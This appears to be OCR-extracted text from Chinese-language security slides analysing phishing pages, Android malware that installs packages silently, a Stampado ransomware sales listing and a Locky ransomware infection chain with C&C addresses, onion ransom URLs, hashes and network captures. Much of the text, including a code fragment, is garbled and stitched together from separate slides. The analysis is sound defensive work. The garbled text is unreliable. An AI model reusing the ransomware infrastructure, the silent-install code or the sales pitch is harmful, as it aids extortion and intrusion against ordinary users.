To view and edit your Apple ID account
information, please sign in. If you don't have
an Apple ID, you can create one now.

Forgot your Apple ID?

Forgot your password?

% My Apple ID

Copyright @ 2015 Apple Inc. All rights reserved.  Terms of Use Privacy Paolicy Choose your country or region a

& FhE Conflrm My Account BEREFIRAE - AiI#ERIZ: S‘K—?!’EEZ
MEER "apple” WFIR - BEIU LB EESFHERE )\ ABER B RY
RESABENEY - WHESZZENEREZBEMEESPIES - -

ERRR point.com/tw/taxonomy/term/19
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84% of phishing sites last less than 24 hours.
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parties. See our Terms & Conditions and Privacy Policy for more details.
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||
public class Installipk |

public Installlpk() |
super():

public static vold execCommand{string argld) |
new IThread({new Eunnable() |
public wvoid runi() |

String vi "pm in=tall -r " + this.wvalspath;
Log. 1 ("Updaoens
try |
vZ = Funtime.getRuntime () .exec(vi);
Log.i("UpdateHelper”, "FFdkapk");
vZ2.waitFor();

1

catch (Throwakle vw3) |
try |
label 33:

vZ2.destrov():

}
catch (Exception vl {
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Stampado Ransomware - FUD - CHEAPEST - ONLY $39 - ...

Allywrﬁleshavebeenencrypta Stampado Ransomware - FUD - CHEAPEST - ONLY

$39 - FULL LIFETIME LICENSE

you! 1)

Stampado is a cheap and easy 10 manage ransomware, developed by me

Stampado Ransomware
wanted a Ransomware but never w

ranted o

pay hundreds of dollars forit ? -

You always
This list is for

and my team. It..

Sold by The_Rainmaker - 2 sold since Jul endor Level 1 il Trust Level §
. Features Features
Product class Digital goods Origin country Worldwide
Quantity left Unlimited Ships to Worldwide
Ends in Never Payment Escrow
Default - 1 days - USD +0.00 / item

kWN

FHE

1

Purchase price: USD 39 CO

¢ 50 - RaaS WEBNBERKBER
R 2%  BAEZRIREIEEL

3]

A RNY

- BREBEZ NBE

dmicro.com.tw/?p=25625

- REZE

MIIRAEBRTS

= B %fﬁﬁ’] =Sk A
HEMEN R
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MR INE N RBERZIN D

2016/3/24 (3FIT) £ 08:58

Wallace Dickson <DicksonWallaceO3@bigpond.net.au>
FW: Payment Details - [148901]

s

O 2FCEBREEEPSRNTHE -

Bl i payment, s 148901 zip

Dear -

If there is any reason why payment should not be made or if you are experiencing difficulties with
making the payment please get in touch so that we can discuss the matter and stop the recovery
process.

Full details are attached to this email.
Regards,

Wallace Dickson
Managing Director

IR RER A B 2 RKIREURER - WT zip FEEES -
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2] (scanned_doc) - 288526 - copy.js 2016/3/24 £F 0.. JScript <& 11 KB

j (scanned_doc) - 3885265 2016/3/24 £ 0.. JScript E<E 11 KB

=) (wire) - e870d.js 2016/3/24 £ 0.. IScript 5518 10 KB
SHAZ256: 9165b395fd52b9c8c0047c056d55a20702a3de04993a0bfcedbe1d9b4a014d67

File name: %28scanned doc%29+-+388526+-+copyJs

Detectionratioo  3/57

Analysis date: 2016-03-23 23:53 11 UTC (1 week, 1 dayago )

&= Analysis 3G Relationships © Additional information & Comments “ ) Votes

Antivirus Result

Arcabit HEUR.JS Trojan.b

& BERRENzip BBHBZEESA-EMERZRS js IEE - #HAWIFE R exe
522 . jsBE LZEH javascript IEENHITER -
s f& JS SITIERERIURIEEHI 3/57 - B AIRERINNE B ZRES - 126
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Image File

Version: 4.1.0.612
Build Thu Mar 24 01:27:40 2016
Path:

C:\Users\Dark\AppData‘\Local\Temp\sKQ3b8n20tdprRm.exe ‘ Explore \

Command line:
"C:\Users\Dark\AppData'\Local\Temp\skQ3b8na0tdprRm.exe"

Current directory:
C:\Users\Dark\Desktop\payment_first-team_148901},

Sutoctort | segtice s

® ETHIT js IESE - A S FEHTEK java script BTLEHT -
& UREREEEF \AppData \Local \Temp \ B9 sKkQ3b8n90tdprRm.exe &&=
BILEEHT  MZENMEEBREMW js BEEEM -
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—-ﬁ
€ sKQ3b8n90tdprRm.exe:3552 Properties l‘.:. (=] |-

Image Ferformance FPerformance Graph GPU Graph
Threads TCP/IP Security Environment Strings

Resolve addresses

Protocol  Local Address Remaote Address State
TCP 140 A7 84,19.170,244 http ESTABLISHED

& EEZEEET sKQ3b8n90tdprRm .exe HIAFSANES O] DLEEIR - IETE S IMED
84.19.170.244 HAFSFEAR - 7% IP UK RU RZEESTBR -
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[System 4 TCP 54294 140. 139 |netoios-ssn| 140

fUnknown| 0 TCP 54273 140. 139 [netbiosssn| 140 ip dutw
fUnknown| 0 TCP 54276 140. 139 [netbiosssn| 140 ip 2du.tw
Unknown | 0 TCP 54274 140. 139 [netbiosssn| 140 ip 2du.tw
Unknown | 0 TCP 54275 140. 139 [netbiosssn| 140 ip Tutw
Unknown | 0 TCP 54278 140. 139 [netbiosssn| 140 ip peedutw

& ZAEIVER 7200 P RITEAR - RSt AR P 21T scan ENF -
i X T ol F IRV AR IERETERNE

129

ZREEANITHS - TACERTEEZE M A G EIE PO



~VvN=4 =~

WS 1

THIPTE 1S E #:RSA-2048 {’AES 1285 83T 7 InE -

SR E R ARSAFTE R » S22 ¢
http://zh.wikipedia. org/wukl/RSA hm Rk
http://zh.wikipedia.org/wiki/ & 2% 11 1. 4E

SHEKMREERS IR A ERTREERE A RS TAE
WEFWEAIR AR FRR LI T Hp—(@: 131 :
1. http://32kI2rwsjvqjeui?.tor2web.org/EC3737B6C31BE444
2. http://32ki2rwsjvgjeui7.onion.to/EC3737B6C31BE444
3. http://32ki2rwsjvgjeui7.onion.cab/EC3737B6C31BE444

SR E (i EACEITE - SHEELUT D ERER(E -
1. f( I Z 5 F R W ES Tor Browser ) : https://www.torproject.org/download/download-easy.html
2.«:_\&.@%,{ TR %”’“é » BERFGIE -

3. TE{irhl-feldd A 32kl2rwsjvgjeui7.onion/EC3737B6C31BE444
4.5z E4E05 | MML HETTHRIE

11 g fE A% 5IID: EC3737B6C31BE444 1!
—+~'—+ e |

& EFTBMWARASIE NI EREWNER  SESHE—EEHE
r HELP_instructions.bmp J L/Ui f& " HELP_instructions.txt 4 &%RA 4

MHH’P* E%W%% B =E ETHNENZRES - IEIRFFTA ORI
S A AFRL - 130

Cat iy

ZRBERENOMES - TACERTEZEMAE SR ERE /O




_HELP _instructions.txt 2016/3/30 T4 02:56
EC3737B6C31BE444BEDG7029F4B84F7 A locky 2016/3/30 T 02:56
EC3737B6C31BE444CD206A176889B5EB locky 2016/3/30 9 02:57
EC3737B6C31BE444F7C442B89722639A locky 2016/3/30 7 02:57
EC3737B6C31BE444F952C4A33A360B17 locky 2016/3/30 9 02:56
EC3737B6C31BE4443B3EB9A4DBOE7 C5Alocky 2016/3/30 9 02:57
EC3737B6C31BE44407A2FBSD1DBA3FF Llocky 2016/3/30 9 02:57
EC3737B6C31BE44461AC55A396E63116.locky 2016/3/30 T 02:57
EC3737B6C31BE4449845F47BF69639B8. locky 2016/3/30 T 02:56

& BB SRS EEA AR B AR RSN E RIS E
DUREIES locky - WM E—(EES3IE txt REFE - EASER BEA
SHE R NS -
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HET N E R tﬁﬁkﬁ?ﬁﬁﬁ&ﬂﬁ GRS [TH R °

AIEEITARTAL A i » SRR Dl P (B
1. http: ffBZkerWSJvQJeu1? torZweh. ngﬁECB?B?BéCBlBE444

Ao http/ 732k 2rweyvgyen1 7 onton. to/BC2727B6CS1BEA44
3. http://32k1 2rwsyvgeul 7. onton. cab/BC3737B0C31BE4A44

i~ (€ ivgieui7.onion/EC3737B6C31BE44<

MNew Identity
Mew Tor Circuit for this Site

Tor circuit for this site

(32kI2rwsjvgjeui 7 .onion):
Privacy and Security Settings...

Tor Network Settings... Uil Lol ==l

Germany (81.7.10.93)

Check for Tor Browser Update... France (195.154.113.79)
Germany (5.9.140.195)
(relay)
(relay)
(relay)
Onion site

& [EAIFA RS TR onion A AR BRI /D ABE =M Relay IP - A #5pk
ZRH/ B onion site - -
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ﬁ%ﬁitﬁﬁ%ﬁ%ﬁﬂmi

§1MTERLLEEW?44QU5D6Gp’INmﬂb5h6pBAqU

i | BAMEL 0D WEE R RO EEA ST 5 « I OFFF

HEl [ESTRIEE w5l i,

not found

FEEFTIFF ST -

FWEIALLSFTR R G - THEEHE] FEEERIITFEA -

‘0Ltﬁxﬂgﬁmmﬁﬁﬁﬂ%'ﬁﬁ%%$ﬁm&ymmwmﬂﬁg’
i‘/umxm%z\ ANZILEERZNTIRIET - 7TERRWINEBHIIE

= - WHMWRBULFEBIEASSZI A IR 0.5 BIC UM EBEEMII - X

#= 7000 5 -

133

ZREEANITHS - TACERTEEZE M A G EIE PO



-

SHA256: 7a6cf27dda962107e9b439¢25c95db92e13f3587985eeat56185a49ed1f4a72f

File name: 2.exe

Detection ratio: | 46/ 57

Analysis date: 2016-04-05 14:53:55 UTC ( 10 hours, 57 minutes ago )

Antivirus Result

AlLYac Trojan.Ransom.LockyCrypt
AVG Crypt5.ASCM

AVware Trojan.Win32.Generic!BT
Ad-Aware Trojan.GenerickD.3118559

& FIBEREERINER  RANEEREL js 182 sKQ3b8n90tdprRm .exe
BRI ERBIR -

& £18 VirustotaliF s skQ3b8n90tdprRm .exe AR ERERZSEH

LBl 46/57 ENZRERS - R 2 E 2. exe -
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NetWitness Reconstruction for session ID: 6 ( Source 140 54272, Target 46.8.44.39 : 80 )

Tlme 3/ 24 2016 10 2947 t0 3/24/2016 10:33:10 Packet Size 3,290 hy‘[es Payload Size 2,546 bytes

PDST Imaln php HTTPfl 1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2
: .NET CLR 2.0.50727; .NET CLR 3.5.30729; NET CLR 3.0.30729; Media Center PC 6.0
: InfoPath.3)

Host: 46.8.44.39

Content-Length: 100

Connection: Keep-Alive

Cache-Control: no-cache

# MFEe HERZ ,/ DEEAD.EIQIZQOLESe @NIPE #| ;B¢ = €;-%o

HTTP/1.1 200 OK
Server: nginx
Date: Thu, 24 Mar 2016 02:29:48 GMT

& EAREHEP LA  THRERBEREN —HIEZERSmER C&C
+#% '46.844.39 4 - WHFEE HTTP POST E‘EH—JHDM\W’“‘ t - AIZE
O BEZ# R IMNERITLSE

& EFm FE CAC HAL AL FRE - ,p\,u\ﬁz‘bF‘aﬁﬁ“ﬁWﬁB“ﬂEﬁL

netbios R - W ErlEt W FMHZERRETINE - EHEEE

Estz iRl NAS 7B D] BEE AR -

135

=R REEADITHE - TACERTEE ST HIE G EIE RO



STEP 6 STEP 7.1
1ZF U Bitcoin - mﬁﬁmm@
BE
il & 48 U5
32kl2rwsjvgjeuiZ.onion/ Bt APTE}
EC3737B6C31BE444
A
§
CRCESE ) 4B ER = 1 APT 04+
46.8.44.39:80 HEFRR Javascript 2%
STEP 3
sTepls STEP 3 Netbios Scan
. MEFDMER EP 1
3 {Bitfoin ElfE NS 8
0.5B1C HTTP POST BREEES
STEP 4
Tor Browser
ERA8
- BEE
= 2
B E- P A I 4 ERBENEHR
81.7.10.93 STEP 7.2
FRRAMEER

DTS - TACERTEEZEMAEE B EE PO
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